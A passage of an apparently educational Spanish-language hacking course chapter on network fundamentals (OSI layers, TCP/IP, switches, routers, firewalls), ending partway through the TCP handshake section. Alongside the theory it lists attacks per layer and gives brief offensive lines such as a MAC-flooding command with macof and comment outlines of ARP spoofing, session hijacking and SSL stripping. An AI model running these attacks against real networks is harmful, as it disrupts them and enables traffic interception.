> For the complete documentation index, see [llms.txt](https://0xnotkyo.gitbook.io/faq.hollowsec/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://0xnotkyo.gitbook.io/faq.hollowsec/hacking/fundamentos-de-red.md).

# Fundamentos de red

<figure><img src="/files/uIlnay1phQCwSaqBshWo" alt="" width="563"><figcaption></figcaption></figure>

Podemos encontrar redes en todos los ámbitos de la vida: cuando navegamos por un sitio web, enviamos un correo electrónico, jugamos a un juego en línea o conectamos nuestro teléfono a una red wifi, **la red entra en funcionamiento.**

Tu dispositivo, por ejemplo, se conecta a otros sistemas para acceder a servicios o información. Eso es, en esencia, una red: un conjunto de equipos que se comunican bajo reglas establecidas.

Este capítulo te enseñará cómo funcionan realmente las redes, desde los cables físicos que transportan señales eléctricas, hasta los protocolos que llevan tus datos por todo el mundo.  Al finalizar, entenderás cómo fluye cada paquete, dónde se encuentran las vulnerabilidades y de qué manera los atacantes logran explotarlas.

<figure><img src="/files/YcEuzgSmZd4OtkaQ6Ojw" alt=""><figcaption></figcaption></figure>

## Qué aprenderás

<table data-view="cards"><thead><tr><th align="center"></th><th align="center"></th></tr></thead><tbody><tr><td align="center"><h4>🌐Fundamentos de Redes</h4></td><td align="center"><mark style="color:$info;">Qué son las redes, cómo se conectan, los componentes físicos y lógicos que hacen que todo funcione</mark></td></tr><tr><td align="center"><h4>📊El Modelo OSI</h4></td><td align="center"><mark style="color:$info;">Las 7 capas de las redes: entenderás dónde fluyen los datos y dónde ocurren los ataques en cada capa</mark></td></tr><tr><td align="center"><h4>🔌TCP/IP </h4></td><td align="center"><mark style="color:$info;">Cómo viajan realmente los datos por internet, los handshakes, los protocolos, la estructura de los paquetes</mark></td></tr><tr><td align="center"><h4>📍Direcciones IP</h4></td><td align="center"><mark style="color:$info;">IPv4, IPv6, subredes, notación CDIR: el sistema de direccionamiento que ubica cada dispositivo</mark></td></tr><tr><td align="center"><h4>🚪Puertos y Servicios</h4></td><td align="center"><mark style="color:$info;">Cómo los servicios escuchan las conexiones, números de puerto que debe memorizar, enumeración de servicios</mark></td></tr><tr><td align="center"><h4>⚙️Herramientas </h4></td><td align="center"><mark style="color:$info;">Nmap, Wireshark, tcpdump, arpspoof: las herramientas que te permiten ver y manipular redes</mark></td></tr></tbody></table>

<figure><img src="/files/YcEuzgSmZd4OtkaQ6Ojw" alt=""><figcaption></figcaption></figure>

## ¿Qué es una red?

Una red es simplemente dos o más ordenadores conectados entre sí para compartir información. Eso es todo. Internet no es más que miles de millones de ordenadores conectados en una red masiva de redes. Pero entender la definición "simple" no es suficiente: necesitas entender CÓMO se conectan, POR QUÉ se conectan de esa manera y DÓNDE existen las vulnerabilidades.

<details>

<summary>🛣️ La Metáfora del Sistema de Carreteras (click aquí)</summary>

<mark style="color:$info;">Piensa en las redes como un sistema de carreteras conectando ciudades. Esta analogía te ayudará a entender cada concepto:</mark><br>

* Ordenadores <mark style="color:$info;">= Edificios en las ciudades. Son los destinos donde la gente vive y trabaja</mark>

* Cables/WIFI <mark style="color:$info;">= Carreteras y autopistas. Los caminos físicos por donde viaja la información</mark>

* Routers <mark style="color:$info;">= Intercambiadores de autopistas. Dirigen el tráfico entre diferentes sistemas de carreteras y deciden la mejor ruta</mark>

* Switches <mark style="color:$info;">= Semáforos en los barrios. Dirigen el tráfico local dentro de una misma zona</mark>

* Paquetes <mark style="color:$info;">= Coches individuales transportando carga. Cada uno lleva una parte de tus datos</mark>

* Direcciones IP <mark style="color:$info;">= Direcciones postales. Identificadores únicos que indican dónde está cada edificio</mark>

* Puertos <mark style="color:$info;">= Números de apartamentos en un edificio. Destinos específicos dentro de una misma dirección</mark>

* Direcciones MAC <mark style="color:$info;">= Matrículas de los coches. Identificadores de hardware únicos que no cambian</mark>

* Protocolos <mark style="color:$info;">= Normas de tráfico. Las reglas que todos acuerdan seguir para que el sistema funcione</mark>

* Firewalls <mark style="color:$info;">= Puntos de control de seguridad. Verifican quién puede entrar o salir</mark>\
  \ <mark style="color:$info;">Cuando enviamos un correo electrónico, es como dividir nuestra carta en muchos pedazos pequeños, meter cada uno en un coche diferente, y dejar que cada coche encuentre su propia ruta hasta el destino donde se ensamblan. Algunos coches pueden tomar la autopista, otros caminos secundarios, algunos pueden llegar desordenados, pero todos llegan eventualmente.</mark>

</details>

***

### El nacimiento de las redes: una breve historia

Comprender de dónde provinen las redes te ayudará a comprender por qué tiene las vulnerabilidades que tienen:

<table data-card-size="large" data-view="cards"><thead><tr><th align="center"></th><th align="center"></th></tr></thead><tbody><tr><td align="center"><h4>1960s - ARPANET</h4></td><td align="center"><mark style="color:$info;">El ejército estadounidense quería una red capaz de sobrevivir a un ataque nuclear. Inventaron la conmutación de paquetes: dividir mensajes en fragmentos que pueden tomar rutas diferentes. <strong>La seguridad no era una prioridad</strong>; era una red militar confiable.</mark></td></tr><tr><td align="center"><h4>1970s - Nace TCP/IP</h4></td><td align="center"><mark style="color:$info;">Vinton Cerf y Bob Kahn crearon TCP/IP para interconectar redes distintas entre sí. De nuevo, <strong>diseñado para fiabilidad, no para seguridad</strong>. Todos en la red eran de confianza.</mark></td></tr><tr><td align="center"><h4>1980s - DNS y Expansión</h4></td><td align="center"><mark style="color:$info;">Se creó DNS para que los humanos pudieran usar nombres en lugar de números. Internet se expandió más allá del ámbito militar hacia las universidades. Todavía <strong>sin cifrado, sin autenticación.</strong></mark></td></tr><tr><td align="center"><h4>1990s - WWW y Comercialización</h4></td><td align="center"><mark style="color:$info;">La web se hizo pública. De repente, miles de millones de usuarios no confiables estaban usando una red diseñada para académicos de confianza. <strong>La seguridad se añadió después, como un parche.</strong></mark></td></tr></tbody></table>

***

### ¿Por qué las redes son inseguras por diseño?

Internet se diseñó en una época donde todos los usuarios eran investigadores y personal militar de confianza. No existía el concepto de:

* <mark style="color:$info;">Actores maliciosos</mark>
* <mark style="color:$info;">Personas suplantando la identidad de otras</mark>
* <mark style="color:$info;">Servidores falsos haciéndose pasar por legítimos</mark>
* <mark style="color:$info;">Ataques de denegación de servicio</mark>

Cada medida de seguridad actual es un parche sobre un sistema fundamentalmente confiado. **Por eso el hacking funciona.**&#x20;

***

### Tipos de redes

Las redes se clasifican según su tamaño, alcance y propósito. Cada tipo tiene diferentes implicaciones de seguridad:

<table data-card-size="large" data-view="cards"><thead><tr><th align="center"></th><th align="center"></th><th></th><th></th></tr></thead><tbody><tr><td align="center"><h4>LAN - Local Area Network</h4></td><td align="center"><mark style="color:$info;">Red pequeña en una única ubicación física. Tu WIFI doméstica, la red de una oficina, un punto de acceso en una cafetería.</mark></td><td><p><mark style="color:$info;"><strong>Características:</strong></mark><br></p><ul><li><mark style="color:$info;">Alta velocidad (199 Mbps - 10 Gbps)</mark></li><li><mark style="color:$info;">Baja latencia (&#x3C; 1ms)</mark></li><li><mark style="color:$info;">Control administrativo único</mark></li><li><mark style="color:$info;">Área geográfica limitada</mark></li></ul></td><td><mark style="color:$info;"><strong>Interés para hacking:</strong> ARP spoofing, lateral movement, interal reconnaissance, credential sniffing, rogue DHCP attacks.</mark></td></tr><tr><td align="center"><h4>WAN - Wide Area Network</h4></td><td align="center"><mark style="color:$info;">Conecta múltiples LANs a través de ciudades, países o continentes. Internet es la WAN más grande. Las redes corporativas sucursales también son WANs.</mark></td><td><p><mark style="color:$info;"><strong>Características:</strong></mark><br></p><ul><li><mark style="color:$info;">Velocidad variable</mark></li><li><mark style="color:$info;">Mayor latencia (10-100+ ms)</mark></li><li><mark style="color:$info;">Múltiples dominios administrativos</mark></li><li><mark style="color:$info;">Usa líneas arrendadas, VPNs, internet, MPLS</mark></li></ul></td><td><mark style="color:$info;"><strong>Interés para hacking:</strong> Remote attacks, BGP hijacking, ISP-level MITM, routing attacks.</mark></td></tr><tr><td align="center"><h4>WLAN - Wireless LAN</h4></td><td align="center"><mark style="color:$info;">Redes WIFI. Increíblemente convenientes pero transmiten señales que cualquiera cercano puede interceptar. Las ondas de radio no se detienen en las paredes.</mark></td><td><p><mark style="color:$info;"><strong>Características:</strong></mark><br></p><ul><li><mark style="color:$info;">No requiere conexión física</mark></li><li><mark style="color:$info;">La señal puede interceptarse a distancia</mark></li><li><mark style="color:$info;">El cifrado varía (WEP→WPA2→WPA3)</mark></li><li><mark style="color:$info;">Susceptible a interferencias y jamming</mark></li></ul></td><td><mark style="color:$info;"><strong>Interés para hacking:</strong> WiFi cracking (WPA2 handshakes), evil twin attacks, deauth attacks, KARMA attacks, PMKID capture.</mark></td></tr><tr><td align="center"><h4>VPN - Virtual Private Network</h4></td><td align="center"><mark style="color:$info;">Túnel cifrado a través de internet. Te hace aparecer como si estuvieras en una red diferente. Tu tráfico está cifrado desde tu dispositivo hasta el servidor VPN.</mark></td><td><p><mark style="color:$info;"><strong>Características:</strong></mark><br></p><ul><li><mark style="color:$info;">Túnel cifrado</mark></li><li><mark style="color:$info;">Enmascara tu IP real</mark></li><li><mark style="color:$info;">Evita restricciones geográficas</mark></li><li><mark style="color:$info;">Puede proporcionan anonimato (hasta cierto punto)</mark></li></ul></td><td><mark style="color:$info;"><strong>Interés para hacking:</strong> VPN bypasses, traffic correlation attacks, VPN provider compromise.</mark></td></tr></tbody></table>

***

### Componentes de red

Toda red está formada por componentes de hardware. Entender cada uno te ayudará a comprender dónde pueden ocurrir los ataques:

#### 🔌Network Interface Card (NIC)

Es un dispositivo que se conecta a un ordenador para permitir que esta se conecte a una red de ordenadores, ya sea a través de cables o de manera inalámbrica. LAS NICs tienen una dirección MAC única grabada para identificarlo.

```bash
## En Linux, ver tu NIC:
ip link show
## 0 comando antiguo:
ifconfig -a

## Salida de ejemplo:
eth0: flags=4163  mtu 1500
      inet 192.168.1.100  netmask 255.255.255.0
      ether 00:11:22:33:44:55  (esta es la dirección MAC)

# Las NICs inalámbricas pueden ponerse en "modo monitor" para sniffing:
airmon-ng start wlan0
```

***

#### 🔄 Switches

Los Switches son dispositivos dedicados dentro de una red para conectar múltiples dispositivos como ordenadores, impresoras u otros equipos con capacidad de red mediante Ethernet. Son más inteligentes que los antiguos "hubs": aprenden qué dispositivos están en qué puertos y solo envían el tráfico donde debe ir.

```bash
# Los switches mantienen una tabla de direcciones MAC:
Puerto 1 → 00:11:22:33:44:55
Puerto 2 → 00:11:22:33:44:56
Puerto 3 → 00:11:22:33:44:57

# Cuando llega una trama para 00:11:22:33:44:56,
# el switch la envía SOLO al Puerto 2

# ATAQUE: MAC Flooding
# Desbordar la tabla MAC con entradas falsas
# El switch vuelve al "modo hub" - transmite todo
# ¡Ahora puedes capturar todo el tráfico!

macof -i eth0  # Inunda el switch con MACs aleatorias
```

***

#### 🌐 Routers

Los routers conectan diferentes redes entre sí. Tu router doméstica conecta tu LAN a la red de tu ISP (que conecta con internet). Los routers toman decisiones sobre dónde enviar paquetes basándose en direcciones IP.

```bash
# Los routers mantienen tablas de enrutamiento:
Destino          Gateway         Interfaz
192.168.1.0/24   0.0.0.0         eth0      (directamente conectada)
10.0.0.0/8       192.168.1.1     eth0      (vía gateway)
0.0.0.0/0        192.168.1.254   eth0      (ruta por defecto - internet)

# Ver tu tabla de enrutamiento:
ip route show       # Linux
route print         # Windows
netstat -rn         # macOS/BSD

# ATAQUE: Rogue Router
# Configurar tu propio router en una red
# Anunciar mejores rutas que el router real
# ¡Todo el tráfico pasa por ti!
```

***

#### 🛡️ Firewalls

Los firewalls filtran el tráfico de red basándose en sus reglas. Pueden permitir o bloquear según direcciones IP, puertos, protocolos y más. Para tomar estas decisiones, los firewalls realizan inspección de paquetes (DPI). Entender los firewalls es importante tanto para atacar como para defender.

```bash
# Tipos de firewall:
# 1. Packet Filter - examina paquetes individuales
# 2. Stateful - rastrea estados de conexión
# 3. Application Layer - inspecciona contenido de paquetes
# 4. Next-Gen (NGFW) - inspección profunda, IPS, etc.

# Ejemplo de iptables en Linux:
iptables -A INPUT -p tcp --dport 22 -j ACCEPT   # Permitir SSH
iptables -A INPUT -p tcp --dport 80 -j ACCEPT   # Permitir HTTP
iptables -A INPUT -j DROP                        # Bloquear todo lo demás

# ATAQUE: Bypass de Firewall
# - Usar puertos permitidos (HTTP/HTTPS)
# - Tunelar a través de protocolos permitidos
# - Fragmentar paquetes
# - Usar IPv6 si solo IPv4 está filtrado
```

{% hint style="info" %}
Cada componente en una red es un vector de ataque potencial. Las NICs pueden suplantarse, los switches pueden desbordarse, los routers pueden usurparse y los firewalls pueden evadirse. Cuanto más entiendas cómo funcionan, más formas encontrarás de explotarlos.
{% endhint %}

<figure><img src="/files/YcEuzgSmZd4OtkaQ6Ojw" alt=""><figcaption></figcaption></figure>

## El modelo OSI: 7 capas de red

<figure><img src="/files/Z5qeWVR4uZTKZzkEBB6x" alt="" width="563"><figcaption></figcaption></figure>

El modelo OSI (Open Systems Interconnection) es un concepto fundamental en redes. Es un marco de siete capas, con cada capa teniendo responsabilidades específicas. Estas capas suelen estar enumeradas del 7 (más alta) al 1 (más baja).&#x20;

Este modelo es conocimiento esencial: te ayuda a entender dónde ocurren los ataques y cómo interactúan las diferentes partes de la pila de red.

<details>

<summary>📮 La Metáfora del Servicio Postal (click aquí)</summary>

<mark style="color:$info;">Imagina enviar un paquete internacional. Cada capa añade algo para garantizar la entrega:</mark><br>

* Capa 7 (Aplicación): <mark style="color:$info;">Escribes una carta (el mensaje real que quieres enviar)</mark>

* Capa 6 (Presentación): <mark style="color:$info;">La traduces al idioma del destinatario, quizás la cifras para mayor privacidad</mark>

* Capa 5 (Sesión): <mark style="color:$info;">Estableces una correspondencia continua - "Esta es la carta 5 de nuestra conversación"</mark>

* Capa 4 (Transporte): <mark style="color:$info;">Eliges envío urgente vs correo normal (fiable o rápido) y numeras las páginas</mark>

* Capa 3 (Red): <mark style="color:$info;">Escribes la ciudad/país de destino (enrutamiento lógico)</mark>

* Capa 2 (Enlace de Datos): <mark style="color:$info;">La oficina postal local lo envía al camión correcto (direccionamiento físico)</mark>

* Capa 1 (Física): <mark style="color:$info;">Los camiones, aviones y carreteras reales que transportan tu paquetes (señales eléctricas/de radio)</mark>

<mark style="color:$info;">En el destino, cada "capa" se elimina en orden inverso hasta que se revela el mensaje original.</mark>

</details>

### Las 7 capas explicadas en profundidad

<figure><img src="/files/t8vGg019bI7gPJe0e12S" alt="" width="563"><figcaption></figcaption></figure>

Esta es la **única capa** que **interactúa directamente con los datos del usuario**. Las aplicaciones de software, como los navegadores web y los clientes de correo electrónico, **dependen de la capa** para iniciar las comunicaciones.

Sin embargo, **las aplicaciones de software cliente no forman parte de esta capa**; más bien, la capa de aplicación es responsable de los protocolos y la manipulación de datos de los que depende el software.

> 📡 **Protocolos comunes:** HTTP, FTP, SMTP, DNS, SSH

> ⚠️ **Ataques típicos:** XSS, SQLi, phising, command injection

```bash
# Protocolos de Capa 7 que encontrarás:

# HTTP/HTTPS (80/443) - Tráfico web
GET /index.html HTTP/1.1
Host: www.example.com

# DNS (53) - Resolución de nombres
nslookup google.com

# SMTP (25) - Envío de correo
MAIL FROM: attacker@evil.com
RCPT TO: victim@target.com

# FTP (21) - Transferencia de archivos
ftp target.com
USER anonymous
PASS password

# SSH (22) - Shell seguro
ssh user@target.com
```

<details>

<summary>💡 Ataques en la Capa 7 (click aquí)</summary>

<mark style="color:$info;">Aquí es donde existen la mayoría de las vulnerabilidades. Ataques a aplicaciones web (SQLi, XSS, CSRF), phishing, credential stuffing, abuso de APIs: todo es Capa 7. Los firewalls en capas inferiores no pueden proteger contra estos ataques porque el tráfico parece "normal".</mark>

</details>

***

<figure><img src="/files/YEdjOYZjDTlDv0E3tZML" alt="" width="563"><figcaption></figcaption></figure>

Esta capa es principalmente responsable de **preparar los datos** para que los pueda usar la capa de aplicación; en otras palabras, hace que los datos se preparen para su consumo por las aplicacions. Esta capa es responsable de la **traducción, el cifrado y la comprensión de los datos**.

> 📡 **Protocolos comunes:** SSL/TLS, JPEG, ASCII, encryption

> ⚠️ **Ataques típicos:** SSL stripping, encoding attacks, PODDLE

```bash
# La Capa 6 gestiona:
# - Cifrado/Descifrado (SSL/TLS)
# - Compresión de datos
# - Codificación de caracteres (ASCII, UTF-8)
# - Serialización de datos (JSON, XML)

# Handshake TLS (simplificado):
Cliente: "¡Hola! Soporto TLS 1.3, aquí están mi conjunto de cifrado"
Servidor: "¡Hola! Usemos TLS 1.3 con AES-256-GCM, aquí está mi certificado"
Cliente: [Verifica el certificado]
Ambos:   [Generan claves de sesión usando Diffie-Hellman]
Ambos:   "¡Toda comunicación posterior está cifrada!"
```

<details>

<summary>💡Ataque en la Capa 6: SSL Stripping (click aquí)</summary>

<mark style="color:$info;">El atacante intercepta las redirecciones HTTP → HTTPS y mantiene a la víctima en HTTP mientras se conecta al servidor vía HTTPS. ¡La víctima cree que está segura pero el atacante ve todo en texto plano!</mark>

```bash
Víctima → [HTTP] → Atacante → [HTTPS] → Servidor
# La víctima ve http://bank.com
# El atacante ve todo el tráfico en texto plano
```

</details>

***

<figure><img src="/files/79V0ReP5dHPnzVBP2MCv" alt="" width="563"><figcaption></figcaption></figure>

Esta capa es la responsable de la apertura y cierre de comunicaciones entre dos dispositivos. También se encarga de **cerrar la conexión** si no se ha utilizado durante un tiempo o se pierde. Además, una sesión puede contener **"puntos de control"**, donde, si se pierden los datos, solo se deben enviar los más recientes, ahorrando **ancho de banda**.

Cabe destacar que las **sesiones son únicas**, lo que significa que los datos no pueden viajar entre diferentes sesiones, sino solo entre cada sesión.

> 📡 **Protocolos comunes:** NetBIOS, RPC, SQL sessions

> ⚠️ **Ataques típicos:** Session hijacking, session fixation

```bash
# La capa de sesión gestiona:
# - Establecimiento de sesión
# - Mantenimiento de sesión (keep-alives)
# - Terminación de sesión
# - Puntos de control (reanudar transferencias interrumpidas)

# Las sesiones web usan cookies:
Set-Cookie: session_id=abc123; HttpOnly; Secure

# Session hijacking - si robas la cookie, ERES el usuario
# El atacante captura el tráfico de red
# Captura la cookie de sesión
# Inyecta la cookie en su propio navegador
# ¡Ahora está logueado como la víctima!
```

***

<figure><img src="/files/pdkpq5gaBOIpQuCzWx8p" alt="" width="563"><figcaption></figcaption></figure>

Esta capa es la responsable de las **comunicaciones de extremo a extremo** entre **dos dispositivos**. Toma **datos de la capa de sesión y los fragmenta** seguidamente en trozos más pequeños llamados **segmentos**. En el destino, **reensambla estos segmentos** para que la capa de sesión pueda procesarlos.

También es responsable del **control de flujo** (ajusta la velocidad de transmisión para que un emisor rápido no abrume a un receptor lento) y el **control de errores** (verifica que los datos lleguen completos y solicita retransmisión si faltan partes).

> 📡 **Protocolos comunes:** TCP, UDP

> ⚠️ **Ataques típicos:** SYN floods, port scanning, UDP floods

```bash
# Encabezado TCP (simplificado):
| Source Port     | Destination Port  |
| Sequence Number                     |
| Acknowledgment Number               |
| Flags (SYN, ACK, FIN, RST, PSH)     |
| Window Size                         |
| Checksum                            |

# Los flags son cruciales para entender TCP:
SYN = "Quiero iniciar una conexión"
ACK = "Reconozco tu mensaje"
FIN = "Quiero cerrar la conexión"
RST = "Algo está mal, ¡abortar!"
PSH = "Envía estos datos inmediatamente"

# Ataques comunes en la Capa 4:
# SYN Flood - agotar la tabla de conexiones
# Port Scanning - descubrir servicios abiertos
# UDP Flood - abrumar con tráfico UDP
```

***

<figure><img src="/files/FAmg1UXEBC4DU9Zv5uVI" alt="" width="563"><figcaption></figcaption></figure>

Esta capa es responsable de **facilitar la transferencia** de datos entre dos redes diferentes. Si los dispositivos están en la misma red, esta capa no es necesaria.

**Divide los segmentos de la capa de transporte** en unidades más pequeñas llamadas **paquetes**, en el **dispositivo emisor**, y los reensambla en el receptor. También busca la mejor ruta física para que los datos lleguen a su destino, proceso conocido como **enrutamiento**.

> 📡 **Protocolos comunes:** IP, ICMP, IPsec

> ⚠️ **Ataques típicos:** IP spoofing, ICMP attacks, routing attacks

```bash
# Encabezado IP (simplificado):
| Version | Header Length | Type of Service  |
| Total Length                               |
| Identification | Flags | Fragment Offset   |
| TTL | Protocol | Header Checksum           |
| Source IP Address                          |
| Destination IP Addresss                    |

# TTL (Time To Live - Tiempo de Vida):
# Cada router decrementa el TTL en 1
# Cuando TTL = 0, el paquete se descarta
# Evita bucles de enrutamiento infinitos
# ¡Traceroute explota esto!

traceroute google.com
# Envía paquetes con TTL=1, 2, 3, etc.
# Cada router devuelve "TTL exceeded"
# ¡Mapea toda la ruta!
```

***

<figure><img src="/files/a1hc3BofARGacCLaZD6B" alt="" width="563"><figcaption></figcaption></figure>

**Similar a la capa de red**, pero **facilita la transferencia de datos** entre dos dispositivos dentro de la misma red (no entre redes diferentes). Toma los paquetes de la capa de red y los divide en partes más pequeñas llamadas **tramas**.&#x20;

También es responsable del **control de flujo y el control de errores** en las comunicaciones dentro de la red local.

> 📡 **Protocolos comunes:** Ethernet, WiFi (802.11), ARP

> ⚠️ **Ataques típicos:** ARP spoofing, MAC flooding, VLAN hopping

```bash
# Ethernet Frame:
| Preamble | Dest MAC | Source MAC | Type | Data | FCS |

# Formato de dirección MAC:
00:11:22:33:44:55
# Primeros 3 bytes = Fabricante (OUI)
# Últimos 3 bytes = ID único del dispositivo

# ARP (Address Resolution Protocol - Protocolo de Resolución de Direcciones):
# Mapea direcciones IP a direcciones MAC

# Solicitud ARP (broadcast):
"¿Quién tiene 192.168.1.1? Avisa a 192.168.1.100"

# Respuesta ARP:
"192.168.1.1 está en AA:BB:CC:DD:EE:FF"

# ARP SPOOFING - El clásico ataque MITM
# El atacante envía respuestas ARP falsas
# "192.168.1.1 (gateway) está en [MAC DEL ATACANTE]"
# "192.168.1.100 (víctima) está en [MAC DEL ATACANTE]"
# ¡Todo el tráfico fluye a través del atacante!
```

***

<figure><img src="/files/sEF6CGogG0uBQeoO7df4" alt="" width="563"><figcaption></figcaption></figure>

Incluye el **equipo físico** implicado en la transferencia de datos: cables, switches, ondas de radio. Aquí es donde los **datos se convierten en una secuencia de bits** (unos y ceros).

La capa física de ambos dispositivos debe acordar una convención de señal para **distinguir los 1 de los 0**. Por ejemplo, los **cables Ethernet** que conectan dispositivos operan en esta capa.

> 📡 **Protocolos/Medios comunes:** Cables, ondas de radio, fibra óptica

> ⚠️ **Ataques típicos:** Wiretapping, jamming, physical access

<table data-card-size="large" data-view="cards"><thead><tr><th align="center"></th><th align="center"></th></tr></thead><tbody><tr><td align="center"><h4>Cables de Cobre</h4></td><td align="center"><mark style="color:$info;">Cables Ethernet (Cat5e, Cat6). Señales eléctricas a través de pares trenzados de cobre. Vulnerables a interferencias electromagnéticas y escuchas.</mark></td></tr><tr><td align="center"><h4>Fibra Óptica</h4></td><td align="center"><mark style="color:$info;">Pulos de luz a través de fibras de vidrio. Extremadamente rápida, inmune a interferencias electromagnéticas, muy difícil de interceptar sin detección.</mark></td></tr><tr><td align="center"><h4>Inalámbrico (Radio)</h4></td><td align="center"><mark style="color:$info;">Ondas de radio que viajan por el aire. El más vulnerable: cualquiera dentro del alcance puede capturar las señales. Por eso el cifrado es esencial.</mark></td></tr><tr><td align="center"><h4>Cable Coaxial</h4></td><td align="center"><mark style="color:$info;">Tecnología más antigua, aún se usa para internet por cable y algunas LANs. Más resistente a interferencias que los cables de par trenzado.</mark></td></tr></tbody></table>

***

### ¿Por qué el Modelo OSI es importante?

Cuando dominas las capas OSI, puedes:

* <mark style="color:$info;">Identificar en qué capa opera un ataque específico</mark>
* <mark style="color:$info;">Comprender por qué funcionan (o fallan) ciertas defensas</mark>
* <mark style="color:$info;">Elegir las herramientas correctas según el tipo de ataque</mark>
* <mark style="color:$info;">Comunicarte con precisión técnica con otros profesionales</mark>
* <mark style="color:$info;">Diagnosticar problemas de red de forma sistemática</mark>

<figure><img src="/files/YcEuzgSmZd4OtkaQ6Ojw" alt=""><figcaption></figcaption></figure>

## TCP/IP: Cómo viajan realmente los datos

Mientras que OSI es un **modelo teórico**, TCP/IP es lo que realmente usa internet. Es un modelo de **4 capas** que gobierna toda la comunicación es internet. Entender **TCP/IP** a nivel profundo es esencial para el **hacking de redes**: cada escaneo, cada exploit, **cada paquete que creas usa TCP/IP**.

<details>

<summary><strong>📦</strong> La Metáfora de la Entrega de Paquetes (click aquí)</summary>

<mark style="color:$info;">Cuando compras algo online, pasa por un proceso similar a TCP/IP:</mark><br>

* Capa de Aplicación: <mark style="color:$info;">Navegas por un sitio web y haces clic en "comprar" (la aplicación gestiona tu petición)</mark>

* Capa de Transporte: <mark style="color:$info;">El almacén empaqueta tu pedido, lo etiqueta con la información de seguimiento y divide pedidos grandes en múltiples cajas</mark>

* Capa de Internet: <mark style="color:$info;">Cada caja recibe una dirección de envío y se enruta a través del sistema postal</mark>

* Capa de Acceso a Red: <mark style="color:$info;">Los camiones, aviones y repartidores reales que mueven tus paquetes</mark>

</details>

***

### Compraración TCP/IP vs OSI

<table><thead><tr><th width="138" align="center" valign="top">Capa TCP/IP</th><th width="152" align="center">Equivalente OSI</th><th width="201" align="center" valign="top">Protocolos</th><th align="center" valign="top">Función</th></tr></thead><tbody><tr><td align="center" valign="top"><mark style="color:$info;">Aplicación</mark></td><td align="center"><mark style="color:$info;">Capas 5,6,7</mark></td><td align="center" valign="top"><mark style="color:$info;">HTTP,FTP,SMTP,DNS,SSH</mark></td><td align="center" valign="top"><mark style="color:$info;">Protocolos orientados al usuario y formato de datos</mark></td></tr><tr><td align="center" valign="top"><mark style="color:$info;">Transporte</mark></td><td align="center"><mark style="color:$info;">Capa 4</mark></td><td align="center" valign="top"><mark style="color:$info;">TCP,UDP</mark></td><td align="center" valign="top"><mark style="color:$info;">Comunicación de extremo a extremo y fiabilidad</mark></td></tr><tr><td align="center" valign="top"><mark style="color:$info;">Internet</mark></td><td align="center"><mark style="color:$info;">Capa 3</mark></td><td align="center" valign="top"><mark style="color:$info;">IP,ICMP,ARP</mark></td><td align="center" valign="top"><mark style="color:$info;">Direccionamiento lógico y enrutamiento</mark></td></tr><tr><td align="center" valign="top"><mark style="color:$info;">Acceso a Red</mark></td><td align="center"><mark style="color:$info;">Capa 1,2</mark></td><td align="center" valign="top"><mark style="color:$info;">Ethernet,WiFi</mark></td><td align="center" valign="top"><mark style="color:$info;">Transmisión física y encuadre de datos</mark></td></tr></tbody></table>

***

### Encapsulación y Decapsulación

**Al igual que en el modelo OSI**, los datos se van encapsulando conforme viajan por cada capa del protocolo TCP/IP. Cada capa añade su propia información en forma de encabezados. Los paquetes TCP, por ejemplo, contienen múltiples secciones de información conocidas como **encabezados** que se añaden mediante este proceso de **encapsulación**.

Cuando los datos son recibidos en el destino, ocurre el proceso inverso llamado **decapsulación**: cada capa va eliminando su encabezado correspondiente hasta revelar los datos originales.

***

### TCP vs UDP: Los dos Protocolos de Transporte

En la capa de transporte, tienes dos opciones: **TCP** (fiable pero más lento) o **UDP** (rápido pero no fiable). Entender cuándo se usa cada uno te ayudará a comprender el tráfico de red.

<table data-card-size="large" data-view="cards"><thead><tr><th align="center"></th><th align="center"></th><th></th><th></th></tr></thead><tbody><tr><td align="center"><h4>TCP - Transmission Control Protocol</h4></td><td align="center"><mark style="color:$info;">Orientado a conexión, entrega fiable. Garantiza que los paquetes lleguen en orden. Si uno se pierde, se retransmite.</mark></td><td><p><mark style="color:$info;"><strong>Usos:</strong></mark><br></p><ul><li><mark style="color:$info;">Navegación web (HTTP/HTTPS)</mark></li><li><mark style="color:$info;">Correo electrónico (SMTP, IMAP, POP3)</mark></li><li><mark style="color:$info;">Transferencia de archivos (FTP, SFTP)</mark></li><li><mark style="color:$info;">Acceso remoto (SSH, Telnet)</mark></li><li><mark style="color:$info;">Cualquier aplicación que no pueda perder datos</mark></li></ul></td><td><mark style="color:$info;"><strong>Desventaja:</strong> Más lento debido a los handshakes, acuses de recibo y retransmisiones. Mayor sobrecarga.</mark></td></tr><tr><td align="center"><h4>UDP - User Datagram Protocol</h4></td><td align="center"><mark style="color:$info;">Sin conexión, no fiable. No garantiza que los paquetes lleguen ni que estén en orden.</mark> </td><td><p><mark style="color:$info;"><strong>Usos:</strong></mark><br></p><ul><li><mark style="color:$info;">Streaming de vídeo (¿un frame perdido?= se omite y continúa)</mark></li><li><mark style="color:$info;">Juegos online (velocidad > perfección)</mark></li><li><mark style="color:$info;">Consultas DNS (pequeñas, un solo paquete)</mark></li><li><mark style="color:$info;">Llamadas VoIP (audio en tiempo real)</mark></li><li><mark style="color:$info;">Cualquier aplicación donde la velocidad importe más</mark></li></ul></td><td><mark style="color:$info;"><strong>Desventaja:</strong> Sin fiabilidad. Los paquetes pueden perderse, duplicarse o llegar desordenados.</mark></td></tr></tbody></table>

***

### El Three-Way Handshake de TCP

Antes de que TCP pueda enviar cualquier dato, debe establecer una conexión. Este es el famoso "handshake de tres vías" (**three-way handshake**): verás estre patrón por todas partes en redes.

Este protocolo se comunica mediante **mensajes especiales**:

```bash
CLIENTE                                          SERVIDOR
   |                                                |
   |  ---- SYN (seq=100) ----------------------->   |  Paso 1: El cliente inicia
   |       "Oye, quiero hablar"                     |          (envía flag SYN)
   |                                                |
   |  <--- SYN-ACK (seq=300, ack=101) -----------   |  Paso 2: El servidor responde
   |       "OK, te escucho, adelante"               |          (envía SYN + ACK)
   |                                                |
   |  ---- ACK (ack=301) ----------------------->   |  Paso 3: El cliente confirma
   |       "Genial, empecemos"                      |          (envía ACK)
   |                                                |
   |  ========== CONEXIÓN ESTABLECIDA ==========    |
   |                                                |
   |  ---- DATA: "GET /index.html" ------------->   |  ¡Ahora pueden fluir datos!
   |  <--- ACK --------------------------------     |  El servidor confirma recepción
   |  <--- DATA: "HTTP/1.1 200 OK..." ----------    |  El servidor envía respuesta
   |  ---- ACK -------------------------------->    |  El cliente confirma
   |

# ¿Por qué números en secuencia?
# Rastrean qué bytes han sido enviados y recibidos
